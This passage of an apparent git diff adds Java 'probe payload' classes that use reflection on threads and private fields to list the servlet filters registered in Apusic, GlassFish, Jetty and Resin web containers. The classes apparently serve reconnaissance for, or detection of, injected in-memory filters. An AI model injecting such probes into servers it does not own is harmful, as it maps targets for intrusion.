List<Map<String, String>> result = new ArrayList<>();
|
||||||
|
for (Map<String, Object> entry : aggregatedData.values()) {
|
||||||
|
Map<String, String> finalInfo = new HashMap<>();
|
||||||
|
finalInfo.put("filterName", (String) entry.get("filterName"));
|
||||||
|
finalInfo.put("filterClass", (String) entry.get("filterClass"));
|
||||||
|
Set<?> urls = (Set<?>) entry.get("urlPatterns");
|
||||||
|
finalInfo.put("urlPatterns", urls.isEmpty() ? "" : urls.toString());
|
||||||
|
Set<?> servletNames = (Set<?>) entry.get("servletNames");
|
||||||
|
finalInfo.put("servletNames", servletNames.isEmpty() ? "" : servletNames.toString());
|
||||||
|
result.add(finalInfo);
|
||||||
|
}
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String formatFiltersData(Map<String, List<Map<String, String>>> allFiltersData) {
|
||||||
|
StringBuilder output = new StringBuilder();
|
||||||
|
for (Map.Entry<String, List<Map<String, String>>> entry : allFiltersData.entrySet()) {
|
||||||
|
String context = entry.getKey();
|
||||||
|
List<Map<String, String>> filters = entry.getValue();
|
||||||
|
output.append("Context: ").append(context).append("\n");
|
||||||
|
if (filters.isEmpty()) {
|
||||||
|
output.append("No filters found\n");
|
||||||
|
} else {
|
||||||
|
for (Map<String, String> info : filters) {
|
||||||
|
appendIfPresent(output, "", info.get("filterName"));
|
||||||
|
appendIfPresent(output, " -> ", info.get("filterClass"));
|
||||||
|
appendIfPresent(output, " -> URL:", info.get("urlPatterns"));
|
||||||
|
appendIfPresent(output, " -> Servlet:", info.get("servletNames"));
|
||||||
|
output.append("\n");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return output.toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
private void appendIfPresent(StringBuilder sb, String prefix, String value) {
|
||||||
|
if (value != null && !value.isEmpty()) {
|
||||||
|
sb.append(prefix).append(value);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("Duplicates")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(context, "getContextPath");
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* context: com.apusic.web.container.WebContainer
|
||||||
|
* context - webapp: com.apusic.deploy.runtime.WebModule
|
||||||
|
* /usr/local/ass/lib/apusic.jar
|
||||||
|
*/
|
||||||
|
@SuppressWarnings("Duplicates")
|
||||||
|
public Set<Object> getContext() throws Exception {
|
||||||
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
|
for (Thread thread : threads) {
|
||||||
|
if (thread.getName().contains("HouseKeeper")) {
|
||||||
|
// Apusic 9.0 SPX
|
||||||
|
Object sessionManager = getFieldValue(thread, "this$0");
|
||||||
|
contexts.add(getFieldValue(sessionManager, "container"));
|
||||||
|
} else if (thread.getName().contains("HTTPSession")) {
|
||||||
|
// Apusic 9.0.1
|
||||||
|
Object sessionManager = getFieldValue(thread, "this$0");
|
||||||
|
Map<?, ?> contextMap = ((Map<?, ?>) getFieldValue(getFieldValue(sessionManager, "vhost"), "contexts"));
|
||||||
|
contexts.addAll(contextMap.values());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return contexts;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
|
||||||
|
Class<?> clazz = obj.getClass();
|
||||||
|
while (clazz != null) {
|
||||||
|
try {
|
||||||
|
Field field = clazz.getDeclaredField(fieldName);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
} catch (NoSuchFieldException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(fieldName + " for " + obj.getClass().getName());
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Object invokeMethod(Object obj, String methodName) throws Exception {
|
||||||
|
return invokeMethod(obj, methodName, null, null);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
|
Method method = null;
|
||||||
|
while (clazz != null && method == null) {
|
||||||
|
try {
|
||||||
|
if (paramClazz == null) {
|
||||||
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
|
} else {
|
||||||
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+224
@@ -0,0 +1,224 @@
|
|||||||
|
package com.reajason.javaweb.probe.payload.filter;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.PrintStream;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.*;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
*/
|
||||||
|
public class GlassFishFilterProbe {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String toString() {
|
||||||
|
StringBuilder msg = new StringBuilder();
|
||||||
|
Map<String, List<Map<String, String>>> allFiltersData = new LinkedHashMap<String, List<Map<String, String>>>();
|
||||||
|
Set<Object> contexts = null;
|
||||||
|
try {
|
||||||
|
contexts = getContext();
|
||||||
|
} catch (Throwable throwable) {
|
||||||
|
msg.append("context error: ").append(getErrorMessage(throwable));
|
||||||
|
}
|
||||||
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
|
msg.append("context not found\n");
|
||||||
|
} else {
|
||||||
|
for (Object context : contexts) {
|
||||||
|
String contextRoot = getContextRoot(context);
|
||||||
|
try {
|
||||||
|
List<Map<String, String>> filters = collectFiltersData(context);
|
||||||
|
allFiltersData.put(contextRoot, filters);
|
||||||
|
} catch (Throwable e) {
|
||||||
|
msg.append(contextRoot).append(" failed ").append(getErrorMessage(e)).append("\n");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
msg.append(formatFiltersData(allFiltersData));
|
||||||
|
}
|
||||||
|
return msg.toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings({"unchecked", "Duplicates"})
|
||||||
|
private List<Map<String, String>> collectFiltersData(Object context) throws Exception {
|
||||||
|
// context -> org.apache.catalina.core.StandardContext
|
||||||
|
Map<String, Map<String, Object>> aggregatedData = new LinkedHashMap<>();
|
||||||
|
|
||||||
|
List<Object> filterMaps = (List<Object>) invokeMethod(context, "findFilterMaps");
|
||||||
|
for (Object fm : filterMaps) {
|
||||||
|
// fm -> org.apache.catalina.deploy.FilterMap
|
||||||
|
String name = (String) invokeMethod(fm, "getFilterName");
|
||||||
|
if (!aggregatedData.containsKey(name)) {
|
||||||
|
// filterDef -> org.apache.catalina.deploy.FilterDef
|
||||||
|
Object filterDef = invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{name});
|
||||||
|
String filterClass = (String) invokeMethod(filterDef, "getFilterClassName");
|
||||||
|
if (filterClass == null) {
|
||||||
|
// filterConfig -> org.apache.catalina.core.ApplicationFilterConfig
|
||||||
|
Object filterConfig = invokeMethod(context, "findFilterConfig", new Class[]{String.class}, new Object[]{name});
|
||||||
|
Object filter = invokeMethod(filterConfig, "getFilter");
|
||||||
|
if (filter != null) filterClass = filter.getClass().getName();
|
||||||
|
}
|
||||||
|
Map<String, Object> info = new HashMap<>();
|
||||||
|
info.put("filterName", name);
|
||||||
|
info.put("filterClass", filterClass);
|
||||||
|
info.put("urlPatterns", new LinkedHashSet<String>());
|
||||||
|
info.put("servletNames", new LinkedHashSet<String>());
|
||||||
|
aggregatedData.put(name, info);
|
||||||
|
}
|
||||||
|
Map<String, Object> info = aggregatedData.get(name);
|
||||||
|
String[] urls = null;
|
||||||
|
try {
|
||||||
|
urls = (String[]) invokeMethod(fm, "getURLPatterns");
|
||||||
|
} catch (Exception e) {
|
||||||
|
// Tomcat 5
|
||||||
|
String urlPattern = (String) invokeMethod(fm, "getURLPattern");
|
||||||
|
if (urlPattern != null) urls = new String[]{urlPattern};
|
||||||
|
}
|
||||||
|
if (urls != null) ((Set<String>) info.get("urlPatterns")).addAll(Arrays.asList(urls));
|
||||||
|
String[] servletNames = null;
|
||||||
|
try {
|
||||||
|
servletNames = (String[]) invokeMethod(fm, "getServletNames");
|
||||||
|
} catch (Exception e) {
|
||||||
|
// Tomcat 5
|
||||||
|
String servletName = (String) invokeMethod(fm, "getServletName");
|
||||||
|
if (servletName != null) servletNames = new String[]{servletName};
|
||||||
|
}
|
||||||
|
if (servletNames != null) ((Set<String>) info.get("servletNames")).addAll(Arrays.asList(servletNames));
|
||||||
|
}
|
||||||
|
List<Map<String, String>> result = new ArrayList<>();
|
||||||
|
for (Map<String, Object> entry : aggregatedData.values()) {
|
||||||
|
Map<String, String> finalInfo = new HashMap<>();
|
||||||
|
finalInfo.put("filterName", (String) entry.get("filterName"));
|
||||||
|
finalInfo.put("filterClass", (String) entry.get("filterClass"));
|
||||||
|
Set<?> urls = (Set<?>) entry.get("urlPatterns");
|
||||||
|
finalInfo.put("urlPatterns", urls.isEmpty() ? "" : urls.toString());
|
||||||
|
Set<?> servletNames = (Set<?>) entry.get("servletNames");
|
||||||
|
finalInfo.put("servletNames", servletNames.isEmpty() ? "" : servletNames.toString());
|
||||||
|
result.add(finalInfo);
|
||||||
|
}
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String formatFiltersData(Map<String, List<Map<String, String>>> allFiltersData) {
|
||||||
|
StringBuilder output = new StringBuilder();
|
||||||
|
for (Map.Entry<String, List<Map<String, String>>> entry : allFiltersData.entrySet()) {
|
||||||
|
String context = entry.getKey();
|
||||||
|
List<Map<String, String>> filters = entry.getValue();
|
||||||
|
output.append("Context: ").append(context).append("\n");
|
||||||
|
if (filters.isEmpty()) {
|
||||||
|
output.append("No filters found\n");
|
||||||
|
} else if (filters.size() == 1 && filters.get(0).containsKey("error")) {
|
||||||
|
output.append(filters.get(0).get("error")).append("\n");
|
||||||
|
} else {
|
||||||
|
for (Map<String, String> info : filters) {
|
||||||
|
appendIfPresent(output, "", info.get("filterName"));
|
||||||
|
appendIfPresent(output, " -> ", info.get("filterClass"));
|
||||||
|
appendIfPresent(output, " -> URL:", info.get("urlPatterns"));
|
||||||
|
appendIfPresent(output, " -> Servlet:", info.get("servletNames"));
|
||||||
|
output.append("\n");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return output.toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
private void appendIfPresent(StringBuilder sb, String prefix, String value) {
|
||||||
|
if (value != null && !value.isEmpty()) {
|
||||||
|
sb.append(prefix).append(value);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("Duplicates")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(invokeMethod(context, "getServletContext"), "getContextPath");
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* com.sun.enterprise.web.WebModule
|
||||||
|
* /xxx/modules/web-glue.jar
|
||||||
|
*/
|
||||||
|
@SuppressWarnings("Duplicates")
|
||||||
|
public Set<Object> getContext() throws Exception {
|
||||||
|
Set<Object> contexts = new HashSet<>();
|
||||||
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
|
for (Thread thread : threads) {
|
||||||
|
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||||
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||||
|
for (Object value : childrenMap.values()) {
|
||||||
|
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||||
|
contexts.addAll(children.values());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return contexts;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Object invokeMethod(Object obj, String methodName) throws Exception {
|
||||||
|
return invokeMethod(obj, methodName, null, null);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
|
Method method = null;
|
||||||
|
while (clazz != null && method == null) {
|
||||||
|
try {
|
||||||
|
if (paramClazz == null) {
|
||||||
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
|
} else {
|
||||||
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||||
|
Class<?> clazz = obj.getClass();
|
||||||
|
while (clazz != Object.class) {
|
||||||
|
try {
|
||||||
|
Field field = clazz.getDeclaredField(name);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
} catch (NoSuchFieldException var5) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+253
@@ -0,0 +1,253 @@
|
|||||||
|
package com.reajason.javaweb.probe.payload.filter;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.PrintStream;
|
||||||
|
import java.lang.reflect.Array;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.*;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
*/
|
||||||
|
public class JettyFilterProbe {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
@SuppressWarnings("Duplicates")
|
||||||
|
public String toString() {
|
||||||
|
StringBuilder msg = new StringBuilder();
|
||||||
|
Set<Object> contexts = null;
|
||||||
|
try {
|
||||||
|
contexts = getContext();
|
||||||
|
} catch (Throwable throwable) {
|
||||||
|
msg.append("context error: ").append(getErrorMessage(throwable));
|
||||||
|
}
|
||||||
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
|
msg.append("context not found\n");
|
||||||
|
} else {
|
||||||
|
Map<String, List<Map<String, String>>> allFiltersData = new LinkedHashMap<String, List<Map<String, String>>>();
|
||||||
|
for (Object context : contexts) {
|
||||||
|
String contextRoot = getContextRoot(context);
|
||||||
|
try {
|
||||||
|
List<Map<String, String>> filters = collectFiltersData(context);
|
||||||
|
allFiltersData.put(contextRoot, filters);
|
||||||
|
} catch (Throwable e) {
|
||||||
|
msg.append(contextRoot).append(" failed ").append(getErrorMessage(e)).append("\n");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
msg.append(formatFiltersData(allFiltersData));
|
||||||
|
}
|
||||||
|
return msg.toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* jetty6 -> org.mortbay.jetty.webapp.WebAppContext
|
||||||
|
* jetty7+ -> org.eclipse.jetty.webapp.WebAppContext
|
||||||
|
* org.eclipse.jetty.ee8.webapp.WebAppContext
|
||||||
|
* org.eclipse.jetty.ee9.webapp.WebAppContext
|
||||||
|
* org.eclipse.jetty.ee10.webapp.WebAppContext
|
||||||
|
* org.eclipse.jetty.ee11.webapp.WebAppContext
|
||||||
|
*/
|
||||||
|
@SuppressWarnings("unchecked")
|
||||||
|
private List<Map<String, String>> collectFiltersData(Object context) throws Exception {
|
||||||
|
Map<String, Map<String, Object>> aggregatedData = new LinkedHashMap<>();
|
||||||
|
|
||||||
|
// servletHandler -> org.mortbay.jetty.servlet.ServletHandler(jetty 6)
|
||||||
|
// servletHandler -> org.eclipse.jetty.servlet.ServletHandler(jetty 7+)
|
||||||
|
Object servletHandler = getFieldValue(context, "_servletHandler");
|
||||||
|
|
||||||
|
Object[] filterMappings = (Object[]) invokeMethod(servletHandler, "getFilterMappings");
|
||||||
|
if (filterMappings == null || filterMappings.length == 0) return Collections.emptyList();
|
||||||
|
|
||||||
|
Object[] filterHolders = (Object[]) invokeMethod(servletHandler, "getFilters");
|
||||||
|
|
||||||
|
for (Object mapping : filterMappings) {
|
||||||
|
// mapping -> org.mortbay.jetty.servlet.FilterMapping(jetty 6)
|
||||||
|
// mapping -> org.eclipse.jetty.servlet.FilterMapping(jetty 7+)
|
||||||
|
String name = (String) invokeMethod(mapping, "getFilterName");
|
||||||
|
if (!aggregatedData.containsKey(name)) {
|
||||||
|
String filterClass = "N/A";
|
||||||
|
if (filterHolders != null) {
|
||||||
|
for (Object holder : filterHolders) {
|
||||||
|
// hodler -> org.mortbay.jetty.servlet.FilterHolder(jetty 6)
|
||||||
|
// hodler -> org.eclipse.jetty.servlet.FilterHolder(jetty 7+)
|
||||||
|
String holderName = (String) invokeMethod(holder, "getName");
|
||||||
|
if (!name.equals(holderName)) continue;
|
||||||
|
String cls = (String) invokeMethod(holder, "getClassName");
|
||||||
|
if (cls == null) {
|
||||||
|
Object filterInstance = invokeMethod(holder, "getFilter");
|
||||||
|
if (filterInstance != null) {
|
||||||
|
cls = filterInstance.getClass().getName();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (cls != null) filterClass = cls;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Map<String, Object> info = new HashMap<>();
|
||||||
|
info.put("filterName", name);
|
||||||
|
info.put("filterClass", filterClass);
|
||||||
|
info.put("urlPatterns", new LinkedHashSet<String>());
|
||||||
|
info.put("servletNames", new LinkedHashSet<String>());
|
||||||
|
aggregatedData.put(name, info);
|
||||||
|
}
|
||||||
|
|
||||||
|
Map<String, Object> info = aggregatedData.get(name);
|
||||||
|
|
||||||
|
String[] pathSpecs = (String[]) invokeMethod(mapping, "getPathSpecs");
|
||||||
|
if (pathSpecs != null) ((Set<String>) info.get("urlPatterns")).addAll(Arrays.asList(pathSpecs));
|
||||||
|
|
||||||
|
String[] servletNames = (String[]) invokeMethod(mapping, "getServletNames");
|
||||||
|
if (servletNames != null) ((Set<String>) info.get("servletNames")).addAll(Arrays.asList(servletNames));
|
||||||
|
}
|
||||||
|
|
||||||
|
List<Map<String, String>> result = new ArrayList<>();
|
||||||
|
for (Map<String, Object> entry : aggregatedData.values()) {
|
||||||
|
Map<String, String> finalInfo = new HashMap<>();
|
||||||
|
finalInfo.put("filterName", (String) entry.get("filterName"));
|
||||||
|
finalInfo.put("filterClass", (String) entry.get("filterClass"));
|
||||||
|
Set<?> urls = (Set<?>) entry.get("urlPatterns");
|
||||||
|
finalInfo.put("urlPatterns", urls.isEmpty() ? "" : urls.toString());
|
||||||
|
Set<?> servletNames = (Set<?>) entry.get("servletNames");
|
||||||
|
finalInfo.put("servletNames", servletNames.isEmpty() ? "" : servletNames.toString());
|
||||||
|
result.add(finalInfo);
|
||||||
|
}
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String formatFiltersData(Map<String, List<Map<String, String>>> allFiltersData) {
|
||||||
|
StringBuilder output = new StringBuilder();
|
||||||
|
for (Map.Entry<String, List<Map<String, String>>> entry : allFiltersData.entrySet()) {
|
||||||
|
String context = entry.getKey();
|
||||||
|
List<Map<String, String>> filters = entry.getValue();
|
||||||
|
output.append("Context: ").append(context).append("\n");
|
||||||
|
if (filters.isEmpty()) {
|
||||||
|
output.append("No filters found\n");
|
||||||
|
} else if (filters.size() == 1 && filters.get(0).containsKey("error")) {
|
||||||
|
output.append(filters.get(0).get("error")).append("\n");
|
||||||
|
} else {
|
||||||
|
for (Map<String, String> info : filters) {
|
||||||
|
appendIfPresent(output, "", info.get("filterName"));
|
||||||
|
appendIfPresent(output, " -> ", info.get("filterClass"));
|
||||||
|
appendIfPresent(output, " -> URL:", info.get("urlPatterns"));
|
||||||
|
appendIfPresent(output, " -> Servlet:", info.get("servletNames"));
|
||||||
|
output.append("\n");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return output.toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
private void appendIfPresent(StringBuilder sb, String prefix, String value) {
|
||||||
|
if (value != null && !value.isEmpty()) {
|
||||||
|
sb.append(prefix).append(value);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(context, "getContextPath");
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
|
public Set<Object> getContext() throws Exception {
|
||||||
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
|
for (Thread thread : threads) {
|
||||||
|
try {
|
||||||
|
// jetty 6
|
||||||
|
Object contextClassLoader = invokeMethod(thread, "getContextClassLoader");
|
||||||
|
if (contextClassLoader.getClass().getName().contains("WebAppClassLoader")) {
|
||||||
|
contexts.add(getFieldValue(contextClassLoader, "_context"));
|
||||||
|
} else {
|
||||||
|
// jetty 7+
|
||||||
|
Object table = getFieldValue(getFieldValue(thread, "threadLocals"), "table");
|
||||||
|
for (int i = 0; i < Array.getLength(table); i++) {
|
||||||
|
Object entry = Array.get(table, i);
|
||||||
|
if (entry != null) {
|
||||||
|
Object threadLocalValue = getFieldValue(entry, "value");
|
||||||
|
if (threadLocalValue != null) {
|
||||||
|
if (threadLocalValue.getClass().getName().contains("WebAppContext")) {
|
||||||
|
contexts.add(getFieldValue(threadLocalValue, "this$0"));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return contexts;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object invokeMethod(Object obj, String methodName) {
|
||||||
|
Class<?>[] paramClazz = null;
|
||||||
|
Object[] param = null;
|
||||||
|
try {
|
||||||
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
|
Method method = null;
|
||||||
|
while (clazz != null && method == null) {
|
||||||
|
try {
|
||||||
|
if (paramClazz == null) {
|
||||||
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
|
} else {
|
||||||
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||||
|
Class<?> clazz = obj.getClass();
|
||||||
|
while (clazz != Object.class) {
|
||||||
|
try {
|
||||||
|
Field field = clazz.getDeclaredField(name);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
} catch (NoSuchFieldException var5) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+234
@@ -0,0 +1,234 @@
|
|||||||
|
package com.reajason.javaweb.probe.payload.filter;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.PrintStream;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.*;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
*/
|
||||||
|
public class ResinFilterProbe {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
@SuppressWarnings("Duplicates")
|
||||||
|
public String toString() {
|
||||||
|
StringBuilder msg = new StringBuilder();
|
||||||
|
Set<Object> contexts = null;
|
||||||
|
try {
|
||||||
|
contexts = getContext();
|
||||||
|
} catch (Throwable throwable) {
|
||||||
|
msg.append("context error: ").append(getErrorMessage(throwable));
|
||||||
|
}
|
||||||
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
|
msg.append("context not found\n");
|
||||||
|
} else {
|
||||||
|
Map<String, List<Map<String, String>>> allFiltersData = new LinkedHashMap<String, List<Map<String, String>>>();
|
||||||
|
for (Object context : contexts) {
|
||||||
|
String contextRoot = getContextRoot(context);
|
||||||
|
try {
|
||||||
|
List<Map<String, String>> filters = collectFiltersData(context);
|
||||||
|
allFiltersData.put(contextRoot, filters);
|
||||||
|
} catch (Throwable e) {
|
||||||
|
msg.append(contextRoot).append(" failed ").append(getErrorMessage(e)).append("\n");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
msg.append(formatFiltersData(allFiltersData));
|
||||||
|
}
|
||||||
|
return msg.toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("unchecked")
|
||||||
|
private List<Map<String, String>> collectFiltersData(Object context) throws Exception {
|
||||||
|
// context -> com.caucho.server.webapp.Application
|
||||||
|
Map<String, Map<String, Object>> aggregatedData = new LinkedHashMap<>();
|
||||||
|
// filterMapper -> com.caucho.server.dispatch.FilterMapper
|
||||||
|
Object filterMapper = getFieldValue(context, "_filterMapper");
|
||||||
|
// filterManager -> com.caucho.server.dispatch.FilterManager
|
||||||
|
Object filterManager = getFieldValue(context, "_filterManager");
|
||||||
|
if (filterMapper == null) return Collections.emptyList();
|
||||||
|
ArrayList<Object> filterMappings = (ArrayList<Object>) getFieldValue(filterMapper, "_filterMap");
|
||||||
|
for (Object filterMapping : filterMappings) {
|
||||||
|
// filterMapping -> com.caucho.server.dispatch.FilterMapping
|
||||||
|
String filterName = (String) invokeMethod(filterMapping, "getFilterName", null, null);
|
||||||
|
